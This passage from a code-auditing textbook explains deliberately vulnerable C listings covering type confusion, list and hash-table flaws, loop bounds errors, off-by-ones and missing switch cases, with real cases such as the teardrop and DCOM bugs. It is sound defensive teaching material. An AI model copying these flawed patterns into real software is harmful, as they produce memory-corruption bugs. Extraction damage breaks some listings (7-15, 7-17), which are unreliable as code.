Listing 7-10. Arithmetic Vulnerability Example in the Parent Function 

int process_packet(unsigned char *pkt, size_t pktlen) 

{ 

   unsigned int length = 0; 

   int type = 0; 

   unsigned char *data; 

 

   type = pkt[0]; 

 

   switch(type){ 

       case TYPE_KEY: 

           length = ntohl(&pkt[1]); 
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           if(length != RSA_KEY_SIZE) 

               return -1; 

 

           data = read_blob(&pkt[1], pktlen); 

 

           ... 

 

           break; 

 

       case TYPE_USER: 

           data = read_blob(&pkt[1], pktlen); 

 

           ... 

 

       default: 

           return -1; 

 

} 

 

There are two calls to read_blob() in Listing 7-10. When type is TYPE_KEY, the length 

variable is checked against RSA_KEY_SIZE, and returns with an error if it doesn't match. 

This means the validated domain is only one valueRSA_KEY_SIZEand is unlikely to 

overlap the problem domain. Therefore, the call to read_blob() is safe in this location. 

When type is TYPE_USER, however, no such restrictions exist. Therefore, the validated 

domain is 0x00000000 through 0xFFFFFFFF, so there's an overlap! All values in the 

problem domain are within the validated domain, so you can say with confidence that 

this comparison can be evaded. These are the only constraints you have: 

 type == TYPE_USER 

 length (from the read_blob function) + sizeof(long) is less than pktlen (so you 

probably want pktlen to be larger than 4) 

Type Confusion 

The union-derived data type is used to store multiple data elements at the same 

location in memory. The intended purpose for this type of storage is that each of the 

data elements are mutually exclusive, and only one of them can be in use at a time. 

Union data types are most commonly used when structures or objects are required to 

represent multiple data types depending on an external condition, such as 

representing different opaque objects read off the network. Occasionally, application 

developers confuse what the data in a union represents. This can have disastrous 

consequences on an application, particularly when integer data types are confused 

with pointer data types, or complex structures of one type are confused with another. 
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Although this mistake seems unlikely, it has shown up in at least one widely deployed 

application. Most vulnerabilities of this nature stem from misinterpreting a variable 

used to define what kind of data the structure contains. Listing 7-11 shows a brief 

example. 

Listing 7-11. Type Confusion 

struct object { 

    int type; 

 

    union { 

        int num; 

        char *str; 

        void *opaque; 

    } u; 

} 

 

struct object *object_read(int sockfd) 

{ 

    int ret; 

    struct object *obj; 

 

    if(!(obj = 

        (struct object *)calloc(1, sizeof(struct object)))) 

        die("calloc: %m"); 

 

    obj->type = get_type(sockfd); 

 

    switch(obj->type & 0xFF){ 

        case OBJ_NUM: 

            ret = read_number(sockfd, &(obj->u.num)); 

            break; 

 

        case OBJ_STR: 

            ret = read_string(sockfd, &(obj->u.str)); 

            break; 

 

        default: 

            ret = read_opaque(sockfd, &(obj->u.opaque)); 

    } 

 

    if(ret < 0){ 

        free(obj); 

        return NULL; 

    } 
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    return obj; 

} 

 

int object_free(struct object *obj) 

{ 

    if(!obj) 

        return -1; 

 

    switch(obj->type){ 

        case OBJ_NUM: 

            break; 

 

        case OBJ_STR: 

            free_string(obj->u.str); 

            break; 

 

        default: 

            free_opaque(obj->u.opaque); 

    } 

 

    free(obj); 

 

    return 0; 

} 

 

Listing 7-11 shows an interface for reading objects of some form off the network. 

Notice the small differences between the way objects are initialized and the way they 

are cleaned up. The type variable is a 32-bit integer read in from the network, yet only 

the lower 8 bits are examined during object initialization. When the object is cleaned 

up, all 32 bits are examined. Therefore, if a 32-bit integer type is supplied with the low 

bits equaling OBJ_NUM and the higher bits not all set to zero, a user-controlled integer 

is passed to the free_opaque() function and treated as a memory location, most likely 

resulting in a call to free() on an arbitrary memory location. 

Lists and Tables 

Linked lists and hash tables are often used in applications to keep a collection of data 

elements in a form that's easy to retrieve and manipulate. Some common errors are 

made when implementing routines that add and modify these data structures, and 

these mistakes can lead to inconsistencies in data structures. Attackers could take 

advantage of these inconsistencies to force an application into performing operations 

it wasn't intended to. 
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Linked lists are used frequently for storing related data elements that need to be 

looked up or modified later in the program. Linked lists can be singly linked or doubly 

linked. Singly linked lists are those in which elements contain a pointer to the next 

element in the list; doubly linked lists elements contain pointers to both the next 

and previous elements in the list. In addition, linked lists can be circular, meaning 

the last element of the list links back to the first element; for doubly linked lists, the 

previous pointer of the first element links back to the last element. 

When auditing code that makes use of linked lists, you should examine how well the 

algorithm implements the list and how it deals with boundary conditions when 

accessing elements of these lists. Each of these points (discussed in the following 

sections) needs to be addressed: 

 Does the algorithm deal correctly with manipulating list elements when the list 

is empty? 

 What are the implications of duplicate elements? 

 Do previous and next pointers always get updated correctly? 

 Are data ranges accounted for correctly? 

Manipulating List Elements in Empty Lists 

Often, list structure members or global variables are used to point to the head of a list 

and potentially the tail of the list. If the code reviewer can find a case where these 

variables aren't updated correctly, there's the possibility for outdated elements or 

undefined data to be references as though they were part of the list. For example, 

consider the code in Listing 7-12. 

Listing 7-12. Empty List Vulnerabilities 

/* head and tail elements of a doubly linked, noncircular 

   list */ 

struct member *head, *tail; 

 

int delete_element(unsigned int key) 

{ 

    struct member *tmp; 

 

    for(tmp = head; tmp; tmp = tmp->next){ 

        if(tmp->key == key){ 

           if(tmp->prev) 

               tmp->prev->next = tmp->next; 

           if(tmp->next) 

               tmp->next->prev = tmp->prev; 

 

          free(tmp); 
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           return 1; 

       } 

   } 

 

   return 0; 

} 

 

The deletion code in Listing 7-12 has an obvious omission: If the head or tail elements 

are deleted, this deletion isn't accounted for in the delete_element() function. 

Because the head and tail global variables aren't updated, the first or last element 

can be deleted with this function and then accessed by any code manipulating the 

head or tail pointers. Code that doesn't deal with head and tail elements correctly 

isn't common, but it can occur, particularly when list management is decentralized 

(that is, there's no clean interface for list management, so management happens 

haphazardly at different points in the code). 

Some implementations initialize the list with blank head and/or tail elements, often 

called sentinel nodes (or sentinels). Sentinel nodes are used largely for convenience 

so that code doesn't need to specifically deal with instances of the list being empty, as 

sentinel nodes always have at least one element. If users can add data elements that 

appear to the program to be sentinels or cause sentinels to be deleted, the list 

management code might be susceptible to vulnerabilities stemming from code 

misinterpreting where the head or tail of the list is. 

Duplicate Elements 

Depending on the nature of the data being stored, duplicate elements can cause 

problems. Elements containing identical keys (data values used to characterize the 

structure as unique) could cause the two elements to get confused, resulting in the 

wrong element being selected from the list. This error might have interesting 

consequences; for example, sessions uniquely identified by a cookie could become 

confused if two or more clients supplied identical cookies. This confusion could lead to 

some sort of information leak, elevation of privilege, or other compromise. 

Previous and Next Pointer Updates 

Implementation flaws in deleting and inserting elements may prevent the previous 

and next pointers from being updated correctly. This is especially true if the program 

treats the current member as the head or tail of a list. Listing 7-13 shows a potential 

issue that occurs when updating list elements. 

Listing 7-13. List Pointer Update Error 
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struct member *head, *tail; 

 

int delete_element(unsigned int key) 

{ 

 

    struct member *tmp; 

 

    for(tmp = head; tmp; tmp = tmp->next){ 

        if(tmp->key == key){ 

            if(tmp->prev) 

                tmp->prev->next = tmp->next; 

            if(tmp->next) 

                tmp->next->prev = tmp->prev; 

 

            if(tmp == head) 

                head = tmp->next; 

            else if(tmp == tail) 

                tail = tmp->prev; 

 

            free(tmp); 

 

            return 1; 

       } 

   } 

 

   return 0; 

} 

 

The code in Listing 7-13 has a small error when updating the head and tail elements. 

If only one element exists in the list, both the head and the tail element point to it, yet 

you can see in the code that an else statement is used when testing whether the 

element is the head or tail. Therefore, if a single element exists in the list and is 

deleted, the head element is updated correctly to be NULL; however, the tail element 

points to the outdated element. 

Data Ranges 

In ordered lists, the elements are sorted into some type of order based on a data 

member that distinguishes each list element. Often each data element in the list 

represents a range of values, such as part of an IP datagram in an IP fragment queue 

or memory ranges in kernel control structures for processes. The code used to 

implement this seemingly simple data structure can be quite complex, particularly 

when you have to take the following nuances of the data into account: 
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 Can overlapping data ranges be supplied? 

 Can replacement data ranges (duplicate elements) be supplied? 

 Does old or new data take precedence? 

 What happens when 0 length data ranges are supplied? 

These details, if not handled correctly, can result in logic flaws in processing data or 

inconsistencies in the list data structures. The most likely result of this oversight is an 

exploitable memory corruption condition. Listing 7-14 is code from the Linux 

kernelthe infamous teardrop bug. It shows how overlapping data ranges can be 

processed incorrectly, resulting in a vulnerability. 

Listing 7-14. Linux Teardrop Vulnerability 

    /* 

     *      We found where to put this one. 

     *      Check for overlap with preceding fragment, 

     *      and, if needed, align things so that any 

     *      overlaps are eliminated. 

     */ 

    if (prev != NULL && offset < prev->end) 

    { 

            i = prev->end - offset; 

            offset += i;    /* ptr into datagram */ 

            ptr += i;       /* ptr into fragment data */ 

    } 

 

     ... 

    /* Fill in the structure. */ 

    fp->offset = offset; 

    fp->end = end; 

     fp->len = end - offset; 

 

This code processes incoming IP fragments to be placed into a queue with other 

fragments that are part of the same IP datagram. The offset variable represents the 

offset into the complete datagram where the current fragment begins. The end 

variable is the offset into the complete datagram where the current fragment ends, 

calculated by adding the starting offset of the fragment and its length. The IP code 

cycles through a list of fragments and breaks out when it finds the right place in the 

list to insert the incoming IP fragment. If there's any overlap between two fragments, 

the current fragment is shrunk so that only unaccounted for data ranges are added to 

the queue, and the overlapping data is discarded. An "overlap" in this situation means 

that two fragments or more partially or fully supply duplicate data ranges. For 

example, if one fragment supplies data from offset 1030, and another specifies 2040, 

they overlap because both fragments specify data from the offset 2030. 
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The vulnerability in this code occurs during the process of shrinking the current 

fragment; the code is written with the assumption that end is greater than or equal to 

prev->end. If this isn't the case, offset is incremented to become larger than end. As 

a result, the fp->len variable is set to a negative value, which is later used as an 

argument to memcpy(), resulting in a buffer overflow. 

Hashing Algorithms 

Hash tables are another popular data structure, typically used for speedy access to 

data elements. A hash table is often implemented as an array of linked lists, so the 

previous discussion on list management is relevant to hash tables as well. Hash tables 

use the list element as input to a hash function (hash functions are discussed in 

Chapter 2(? [????.]), "Design Review"). The resulting hash value is used as an index 

to an array. When dealing with hash tables, code auditors must address these 

additional questions: 

 Is the hashing algorithm susceptible to invalid results? Most hashing 

algorithms attempt to guarantee that the result lies within a certain range (the 

array size) by performing an operation and then using the modulus or and 

operator on the result. As discussed in Chapter 6(? [????.]), one potential 

attack vector is forcing the modulus operator to return negative results. This 

result would allow negative indexing into the array used to store elements. 

Additionally, code reviewers must evaluate the consequences if data elements 

can be influenced in such a way that many collisions could occur. Often this 

problem causes a slowdown in lookups, which can be a major problem if the 

application is time critical. 

 What are the implications of invalidating elements? Several algorithms that 

store many data elements can invalidate members based on certain conditions, 

such as timeouts or memory threshold limits reached. This pruning can 

sometimes have unexpected consequences. As with lists, code auditors must 

determine whether invalidated elements could be unlinked from the table 

incorrectly, resulting in the application potentially using outdated elements 

later. Invalidating elements in a predictable manner can have other 

interesting consequences, such as causing an application with several session 

data elements to delete valid sessions, resulting in a denial-of-service 

condition. 

 

7.3.3 Auditing Control Flow 

As you learned in Chapter 4(? [????.]), "Application Review Process," control flow 

refers to the manner in which a processor carries out a certain sequence of 

instructions. Programming languages have several constructs that enable 

programmers to branch to different code paths based on a condition, repeat 

31051536.html
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instructions over a number of iterations, and call subroutines (directly or indirectly). 

These constructs are the basic building blocks of programming languages, and every 

developer is familiar with them. When auditing code, it's interesting to see that these 

constructs often have similar security vulnerabilitiesnot because programmers don't 

know how to implement them, but because the application can enter a specific 

context that isn't accounted for correctly. In this section, you examine loop and 

switch statement constructs, which govern internal control flow. External control flow 

is covered in "Auditing Functions(? [????.])" later in this chapter. For now, you focus 

on how to audit loops and switch-style branches and learn some guidelines on what to 

look for when evaluating their proper use. 

Looping Constructs 

Looping constructs are extremely common and used in every component of 

application processing, whether it's initializing structures, processing input, 

interacting with the file system, or deallocating memory. This section focuses on 

data-processing loops, which are used to interpret user-supplied data and construct 

some form of output based on the data. This output can range from elements 

extracted from user input to data derived from the input. These types of loops pose 

the most immediate security threat to an application. 

A loop can be constructed incorrectly in a number of ways so that it causes a read or 

write outside the bounds of the provided data buffers. The following common errors 

can cause loops to behave in a manner that contradicts the programmer's intentions: 

 The terminating conditions don't account for destination buffer sizes or don't 

correctly account for destination sizes in some cases. 

 The loop is posttest when it should be pretest. 

 A break or continue statement is missing or incorrectly placed. 

 Some misplaced punctuation causes the loop to not do what it's supposed to. 

Any of these conditions can have potentially disastrous consequences for application 

security, particularly if the loop performs writes to memory in some way. As discussed 

in Chapter 5(? [????.]), "Memory Corruption," writes stand the most chance of being 

destructive to other variables or program state information and, consequently, 

leading to an exploitable situation. 

Terminating Conditions 

Application developers are often required to construct loops for processing 

user-malleable data. These loops must parse and extract data fields, search for 

occurrences of specific data elements, or store parts of data to a specific destination, 

such as another memory location or a file. When a loop performs a data copy, it is 

necessary to verify whether the copy is performed in a safe mannerthat is, there's no 

way the loop can read or write outside the boundaries of objects being operated on. 
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Typically, loops that perform these kinds of copies have multiple terminating 

conditions, which are checks that can cause the loop to exit. A loop might have a 

terminating condition that checks for successful completion of the copy as well as 

several terminating conditions that attempt to account for erroneous conditions that 

might occur during processing. If the set of terminating conditions in a loop don't 

adequately account for all possible error conditions, or the implementation of the 

checks is incorrect, the program might be susceptible to compromise in one form or 

another. When dealing with length calculations, two main problems could occur: 

 The loops fail to account for a buffer's size. 

 A size check is made, but it's incorrect. 

The first problem is fairly easy; no size check is done on input or output data, so if 

attackers can supply more data than has been allocated for the destination buffer, 

they can trigger a buffer overflow condition and compromise the application. Listing 

7-15 shows a simple example. 

Listing 7-15. Simple Nonterminating Buffer Overflow Loop 

int copy(char *dst, char *src) 

{ 

    char *dst0 = dst; 

 

    while(*src) 

        *dst++ = *src++; 

 

    *dst++='\0'; 

 

    return dst  dst0; 

} 

 

The code in Listing 7-15 essentially performs the same task as a strcpy() routine: It 

copies data from src into dst until it encounters a NUL byte. These types of loops are 

usually quite easy to spot when auditing code and appear quite often in major 

applications. A notable example is one in the Distributed Component Object Model 

(DCOM) Object Activation RPC interface in Windows operating systems. This interface 

has a tightly contained loop in the GetMachineName() function. Listing 7-16 shows 

approximated C code based on the assembly code. 

Listing 7-16. MS-RPC DCOM Buffer Overflow Listing 

GetMachineName(WCHAR *src, WCHAR *dst, int arg_8) 

{ 

    for(src++; *src != (WCHAR)'\'; ) 

        *dst++ = *src++; 
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    ... 

} 

 

As you can see, this buffer overflow is similar to Listing 7-15 and is performing a 

potentially dangerous copy. Sometimes, however, when you read complex functions 

containing nested loops, these types of suspect loop constructs can be difficult to spot. 

Often it's hard to verify whether they present a potential vulnerability. Listing 7-17 

from NTPD, the network time protocol (NTP) daemon, demonstrates a more 

complicated copying loop. 

Listing 7-17. NTPD Buffer Overflow Example 

while (cp < reqend && isspace(*cp)) 

    cp++; 

if (cp == reqend || *cp == ',') 

{ 

    buf[0] = '\0'; 

    *data = buf; 

    if (cp < reqend) 

        cp++; 

    reqpt = cp; 

    return v; 

} 

if (*cp == '='while (cp < reqend && *cp != ',') 

        *tp++ = *cp++; 

    if (cp < reqend) 

        cp++; 

    *tp = '\0'; 

    while (isspace(*(tp-1))) 

        *(tp) = '\0'; 

    reqpt = cp; 

    *data = buf; 

    return v; 

} 

 

The code in Listing 7-17 is processing an NTP control packet. It's vulnerable to a 

buffer overflow, as the destination buffer (pointed to by tp) isn't verified to be large 

enough to hold input data supplied by users. A lot of the surrounding code is included 

in the listing to demonstrate how complex code can sometimes make auditing difficult. 

You might need to make several passes before you understand what the preceding 
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function is doing and whether the while loop construct that first appears to be 

vulnerable can be reached with values that trigger the vulnerability. 

Auditing Tip 

When data copies in loops are performed with no size validation, check every code 

path leading to the dangerous loop and determine whether it can be reached in such 

a way that the source buffer can be larger than the destination buffer. 

 

The second problem in dealing with length calculations, as mentioned at the 

beginning of this section, is a size check done incorrectly. In recent years, application 

developers have started to be more careful with looping constructs by putting in 

length validation as one of the loop's terminating conditions. However, the check is 

sometimes implemented incorrectly, leaving the application vulnerable to 

compromise. 

The first common mistake is an off-by-one error (discussed in Chapter 5(? [????.])). 

This vulnerability most commonly occurs in string processing, as in the following 

example: 

for(i = 0; src[i] && i < sizeof(dst); i++) 

    dst[i] = src[i]; 

 

 

dst[i] = '\0'; 

 

Technically, the loop is not at fault here. It writes data to the destination buffer, and 

it doesn't write outside the bounds of the dst buffer. The statement immediately 

following it, however, could write one byte past the end of the array. This occurs when 

the loop terminates because i is equal to the size of the destination buffer buf. In this 

case, the statement dst[i] = '\0' is then equivalent to dst[sizeof (dst)] = '\0', 

which writes the NUL one byte past buf's allocated space. This bug is commonly 

associated with loops of this nature. 

The previous vulnerability brings up the next interesting behavior to look out for: 

Occasionally, when loops terminate in an unexpected fashion, variables can be left in 

an inconsistent state. It's important to determine which variables are influenced by a 

looping construct and whether any potential exit conditions (typically boundary 

conditions signifying an error of some sort) leave one of these variables in an 

inconsistent state. Naturally, this determination is relevant only if the variables are 

used after the loop completes. Listing 7-18 shows some code taken from mod_php 

that reads POST data from users. 
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Listing 7-18. Apache mod_php Nonterminating Buffer Vulnerability 

SAPI_API SAPI_POST_READER_FUNC(sapi_read_standard_form_data) 

{ 

    int read_bytes; 

    int allocated_bytes=SAPI_POST_BLOCK_SIZE+1; 

 

    if (SG(request_info).content_length > SG(post_max_size)) { 

        php_error_docref(NULL TSRMLS_CC, E_WARNING, 

                    "POST Content-Length of %ld bytes exceeds the 

limit of %ld bytes", 

                    SG(request_info).content_length, 

                    SG(post_max_size)); 

        return; 

    } 

    SG(request_info).post_data = emalloc(allocated_bytes); 

 

    for (;;) { 

        read_bytes = sapi_module.read_post( 

            SG(request_info).post_data+SG(read_post_bytes), 

            SAPI_POST_BLOCK_SIZE TSRMLS_CC); 

        if (read_bytes<=0) { 

            break; 

        } 

        SG(read_post_bytes) += read_bytes; 

        if (SG(read_post_bytes) > SG(post_max_size)) { 

            php_error_docref(NULL TSRMLS_CC, E_WARNING, 

                    "Actual POST length does not match Content-Length, 

and exceeds %ld bytes", 

                    SG(post_max_size)); 

            return; 

        } 

        if (read_bytes < SAPI_POST_BLOCK_SIZE) { 

            break; 

        } 

        if (SG(read_post_bytes)+SAPI_POST_BLOCK_SIZE 

            >= allocated_bytes) { 

            allocated_bytes = SG(read_post_bytes) 

                +SAPI_POST_BLOCK_SIZE+1; 

            SG(request_info).post_data = 

                erealloc(SG(request_info).post_data, 

                         allocated_bytes); 

        } 

   } 

   SG(request_info).post_data[SG(read_post_bytes)] = 0; 
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   /* terminating NULL */ 

   SG(request_info).post_data_length = SG(read_post_bytes); 

} 

 

The sapi_read_standard_form_data function is expected to fill the global buffer 

post_data and place a NUL byte at the end of the buffer. However, it doesn't in one 

case: If more than post_max_size data is supplied, a warning is generated and the 

function returns. Because this function is a void function and doesn't return a value, 

the function's caller doesn't know an error has occurred and continues processing 

unaware. 

Note that in some circumstances, the php_error_docref() function can cause the 

process to exit, depending on the second argument; however, in this case the 

function just generates a warning. In normal circumstances, a bug like this would 

present potential exploitation opportunities by causing a pointer to increment outside 

the bounds of the post_data variable. However, in this case, the allocator doesn't let 

you supply post_max_size (8 MB) bytes in a request because there's a memory limit of 

8MB per request (although both the memory allocation maximum data limit and 

post_max_size can be configured). 

Auditing Tip 

Mark all the conditions for exiting a loop as well as all variables manipulated by the 

loop. Determine whether any conditions exist in which variables are left in an 

inconsistent state. Pay attention to places where the loop is terminated because of an 

unexpected error, as these situations are more likely to leave variables in an 

inconsistent state. 

 

Another off-by-one error occurs when a variable is incorrectly checked to ensure that 

it's in certain boundaries before it's incremented and used. Listing 7-19, which is code 

from the mod_rewrite Apache module, demonstrates this error. 

Listing 7-19. Apache 1.3.29/2.X mod_rewrite Off-by-One Vulnerability 

    /* special thing for ldap. 

     * The parts are separated by question marks. 

     * From RFC 2255: 

     *     ldapurl = scheme "://" [hostport] ["/" 

     *               [dn ["?" [attributes] ["?" [scope] 

     *               ["?" [filter] ["?" extensions]]]]]] 

     */ 

    if (!strncasecmp(uri, "ldap", 4)) { 
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        char *token[5]; 

        int c = 0; 

 

        token[0] = cp = ap_pstrdup(p, cp); 

        while (*cp && c < 5) { 

            if (*cp == '?') { 

                token[++c] = cp + 1; 

                *cp = '\0'; 

            } 

            ++cp; 

        } 

 

As you can see, the c variable is used to ensure that only five pointers are stored in 

the array of pointers, token. However, after the size check is performed, the c variable 

is incremented and used, which means the check should read (*cp && c<4). If an 

attacker provides input to the loop so that c is equal to four, the input passes the 

length check but causes the program to write a pointer into token[5], which is outside 

the allocated space for token. This error can lead to an exploitable condition because 

the attacker writes a pointer to user-controlled data outside the bounds of the token 

variable. 

Loops that can write multiple data elements in a single iteration might also be 

vulnerable to incorrect size checks. Several vulnerabilities in the past happened 

because of character escaping or expansion that weren't adequately taken into 

account by the loop's size checking. The Dutch researcher, Scrippie, found a notable 

bug in OpenBSD 2.8. The code in Listing 7-20, which is taken from OpenBSD's 2.8 ftp 

daemon, copies data into a destination buffer, escaping double-quote characters (") 

as it encounters them. 

Listing 7-20. OpenBSD ftp Off-by-One Vulnerability 

char npath[MAXPATHLEN]; 

int i; 

 

for (i = 0; *name != '\0' && i < sizeof(npath) - 1; 

     i++, name++) { 

    npath[i] = *name; 

 

    if (*name == '"') 

        npath[++i] = '"'; 

} 

 

npath[i] = '\0'; 
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The problem in Listing 7-20 is that the i variable can be incremented twice in a single 

iteration of the loop. Therefore, if a double-quote character is encountered in the 

source string at location (sizeof(npath)-2), i is incremented twice to hold the value 

(sizeof(npath)), and the statement immediately following the loop writes a zero byte 

out of bounds. This code ended up being an exploitable off-by-one vulnerability. 

Finally, a loop's size check could be invalid because of a type conversion, an 

arithmetic boundary condition, operator misuse, or pointer arithmetic error. These 

issues were discussed in Chapter 6(? [????.]). 

Posttest Versus Pretest Loops 

When writing program loops, developers can decide whether to use a posttest or a 

pretest control structure. A posttest loop tests the loop termination condition at the 

end of each iteration of the loop; a pretest loop tests the condition before each 

iteration of the loop. In C, posttest and pretest loops can be distinguished easily; a 

posttest loop uses the do {...} while() construct, and pretest loops use for( ;; ) {...} 

or while() {...}. Pretest loops tend to be used primarily; posttest loops are used in 

some situations out of necessity or for personal preference. When encountering loops, 

code auditors must determine the implications of the developer's choice of loop form 

and whether that choice could have negative consequences for the code. 

Posttest loops should be used when the body of the loop always needs to be 

performed at least one time. As an auditor, you should look for potential situations 

where execution of the loop body can lead to an unexpected condition. One thing to 

look out for is the conditional form of the loop performing a sanity check that should 

be done before the loop is entered. Consider the example in Listing 7-21, which uses 

a posttest loop to do some simple string processing. 

Listing 7-21. Postincrement Loop Vulnerability 

char *cp = get_user_data(); 

 

... 

 

do { 

    ++cp; 

} while (*cp && *cp != ','); 

 

In this code, if the data supplied is an empty string (a string containing the NUL 

character only), the pointer cp is incremented past the string's intended bounds. The 

loop continues processing undefined data, potentially resulting in a memory 
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corruption or information leak vulnerability of some kind. The programmer should 

have checked whether cp points to a NUL character before entering the loop, so this 

loop should have been written in pretest form. 

Likewise, a programmer can use a pretest loop when a posttest format would be more 

appropriate and, consequently, create an exploitable situation. If the code following a 

loop expects that the loop body has run at least once, an attacker might be able to 

intentionally skip the loop entirely and create an exploitable condition. Take a look at 

the code in Listing 7-22. 

Listing 7-22. Pretest Loop Vulnerability 

char **parse_array(char *raw_data) 

{ 

    int i, token_array_size = 0; 

    char **token_array = NULL; 

 

    for(i = 0; (element = parse_element(&raw_data)) != NULL; 

        i++) 

    { 

        if(i >= token_array_size) 

        { 

            token_array_size += 32; 

 

            token_array=safe_realloc(token_array, 

                            token_array_size * sizeof(char *)); 

        } 

 

        token_array[i] = element; 

    } 

 

    token_array[i] = NULL; 

 

    return token_array; 

} 

 

In this example, the code following the loop assumes that the token_array array has 

been allocated, which can happen only if the loop runs at least once. If the first call to 

parse_element() returns NULL, the loop isn't entered, token_array is never allocated, 

and the bolded code causes a NULL pointer dereference, resulting in a potential crash. 

Punctuation Errors 
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As discussed in Chapter 6(? [????.]), typographical errors can lead to situations that 

have security-relevant consequences. Occasionally, developers make the mistake of 

inserting superfluous language punctuation where they shouldn't, and this mistake 

often results in the loop not doing what was intended. Take a look at a simple 

example: 

for(i = 0; i < sizeof(dest) && *src != ' '; i++, src++); 

    dest[i] = *src; 

if(i == sizeof(dest)) 

    i--; 

dest[i] = '\0'; 

 

The for loop in this code is supposed to be copying data into the dest array; however, 

the programmer made a slight error: a semicolon at the end of the line with the for 

loop. Therefore, the loop doesn't actually copy anything, and what should be the loop 

body always runs once after the counter is incremented past the array bounds. This 

error means you could potentially write a byte to dest[sizeof(dest)], which would be 

one byte out of bounds. 

Naturally, these errors aren't that common because they usually break the program's 

functionality and, therefore, get caught during testing or development. Simple testing 

of the code in the previous example would probably show the programmer that any 

subsequent processing of dest seems to have a problem because the loop doesn't 

copy any data into dest as it's supposed to. However, these errors do occur from time 

to time in ways that don't affect the program's functionality, or they occur in 

error-handling or debugging code that hasn't been tested. As discussed in Chapter 6(? 

[????.]), reviewers should always be on the lookout for these minor punctuation 

errors. 

Flow Transfer Statements 

Programming languages usually provide control flow statements that developers can 

use to redirect execution in very direct ways. Loops typically have a mechanism by 

which a programmer can immediately terminate a loop or advance a loop to its next 

iteration. Switch-style statements have keywords for denoting a case body and a 

mechanism for breaking out of a case body. Some languages provide goto and 

longjmp style statements, which can allow arbitrary control flow transfers within a 

function or across function boundaries. 

Occasionally, application developers misuse these control flow statements in ways 

that can have security-relevant consequences because these keywords are often 

overloaded. In C, the break statement is used to break out of a switch statement and 

to terminate a loop. The dual use of this statement can lead to several potential 

mistakes. Application developers might assume that a break statement can break out 
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of any nested block and use it in an incorrect place. Or they might assume the 

statement breaks out of all surrounding loops instead of just the most immediate loop. 

Another problem is using a continue statement inside a switch statement to restart 

the switch comparison. Experienced programmers wouldn't consciously make these 

kinds of mistakes, but they can remain in code if they're caused by accidental editing 

mistakes, for example, and aren't immediately apparent when using the application. 

For these mistakes to remain in the code, however, they need to appear correct 

enough that a casual review wouldn't raise any red flags. 

A vulnerability of this nature resulted in the much-publicized AT&T phone network 

outage of 1990. The programmer mistakenly used a break statement to break out of 

an if code block nested inside a switch statement. As a result, the switch block was 

unintentionally broken out of instead. 

Switch Statements 

When dealing with suspect control flow, switch statements have a few unique 

considerations. A common pitfall that developers fall into when using switch 

statements is to forget the break statement at the end of each case clause. This error 

can result in code being executed unintentionally when the erroneous case clause 

runs. Take a look at Listing 7-23. 

Listing 7-23. Break Statement Omission Vulnerability 

char *escape_string(char *string) 

{ 

    char *output, *dest; 

    int escape = 0; 

 

    if(!(output = dest = (char *) 

         calloc(strlen(string+1, sizeof(string)))) 

        die("calloc: %m"); 

 

    while(*string){ 

        switch(*cp){ 

            case '\\': 

                if(escape){ 

                    *dest++ = '\'; 

                    escape = 0; 

                } else 

                    escape = 1; 

                break; 

 

            case '\n': 

                *dest++ = ' '; 
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            default: 

                *string = *dest++; 

        } 

 

        string++; 

    } 

 

    return output; 

} 

 

This code makes a mistake when dealing with the newline ('\n') character. The break 

statement is missing, so every newline character causes a space to be written to the 

destination buffer, followed by a newline character. This happens because the default 

case clause runs every time the '\n' case is executed. This error results in the code 

writing more characters into the output buffer than was anticipated. 

Note 

In some circumstances, programmers intend to leave the break statement out and 

often leave a comment (such as /* FALLTHROUGH */) indicating that the omission of the 

break statement is intentional. 

 

When reviewing code containing switch statements, auditors should also determine 

whether there's any unaccounted-for case. Occasionally, switch statements lacking a 

default case can be made to effectively run nothing when there isn't a case 

expression matching the result of the expression in the switch statement. This error 

is often an oversight on the developer's part and can lead to unpredictable or 

undesirable results. Listing 7-24 shows an example. 

Listing 7-24. Default Switch Case Omission Vulnerability 

struct object { 

    int type; 

    union { 

        struct string_obj *str; 

        struct int_obj *num; 

        struct bool_obj *bool; 

    } un; 

}; 

 

.. 
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struct object *init_object(int type) 

{ 

    struct object *obj; 

 

    if(!(obj = (struct object *)malloc(sizeof(struct object)))) 

        return NULL; 

 

    obj->type = type; 

 

    switch(type){ 

        case OBJ_STR: 

            obj->un.str = alloc_string(); 

            break; 

 

        case OBJ_INT: 

            obj->un.num = alloc_int(); 

            break; 

 

        case OBJ_BOOL: 

            obj->un.bool = alloc_bool(); 

            break; 

    } 

 

    return obj; 

} 

 

Listing 7-24 initializes an object based on the supplied type variable. The 

init_object() function makes the assumption that the type variable supplied is 

OBJ_STR, OBJ_INT, or OBJ_BOOL. If attackers could supply a value that wasn't any of 

these three values, this function wouldn't correctly initialize the allocated object 

structure, which means uninitialized memory could be treated as pointers at a later 

point in the program. 

 

7.3.4 Auditing Functions 

Functions are a ubiquitous component of modern programs, regardless of the 

application's problem domain or programming language. Application programmers 

usually divide programs into functions to encapsulate functionality that can be reused 

in other places in the program and to organize the program into smaller pieces that 

are easier to conceptualize and manage. Object-oriented programming languages 

31051536.html
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encourage creating member functions, which are organized around objects. As a code 

auditor, when you encounter a function call, it's important to be cognizant of that 

call's implications. Ask yourself: What program state changes because of that call? 

What things can possibly go wrong with that function? What role do arguments play 

in how that function operates? Naturally, you want to focus on arguments and aspects 

of the function that users can influence in some way. To formalize this process, look 

for these four main types of vulnerability patterns that can occur when a function call 

is made: 

 Return values are misinterpreted or ignored. 

 Arguments supplied are incorrectly formatted in some way. 

 Arguments get updated in an unexpected fashion. 

 Some unexpected global program state change occurs because of the function 

call. 

The following sections explore these patterns and explain why they are potentially 

dangerous. 

Function Audit Logs 

Because functions are the natural mechanism by which programmers divide their 

programs into smaller, more manageable pieces, they provide a great way for code 

auditors to divide their analysis into manageable pieces. This section covers creating 

an audit log, where you can keep notes about locations in the program that could be 

useful in later analysis. This log is organized around functions and should contain 

notes on each function's purpose and side effects. Many code auditors use an informal 

process for keeping these kinds of notes, and the sample audit log used in this section 

synthesizes some of these informal approaches. 

To start, list the basic components of an entry, as shown in Table 7-1, and then you 

can expand on the log as vulnerabilities related to function interaction are discussed. 

Table 7-1. Sample Audit Log 

Function prototype int read_data(int sockfd, char **buffer, int *length) 

Description Reads data from the supplied socket and allocates a buffer 

for storage. 

Location src/net/read.c, line 29 

Cross-references process_request, src/net/process.c, line 400 

process_login, src/net/process.c, line 932 

Return value type 32-bit signed integer. 

Return value meaning Indicates error: 0 for success or -1 for error. 
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Table 7-1. Sample Audit Log 

Function prototype int read_data(int sockfd, char **buffer, int *length) 

Error conditions calloc() failure when allocating MAX_SIZE bytes. 

If read returns less than or equal to 0. 

Erroneous return 

values 

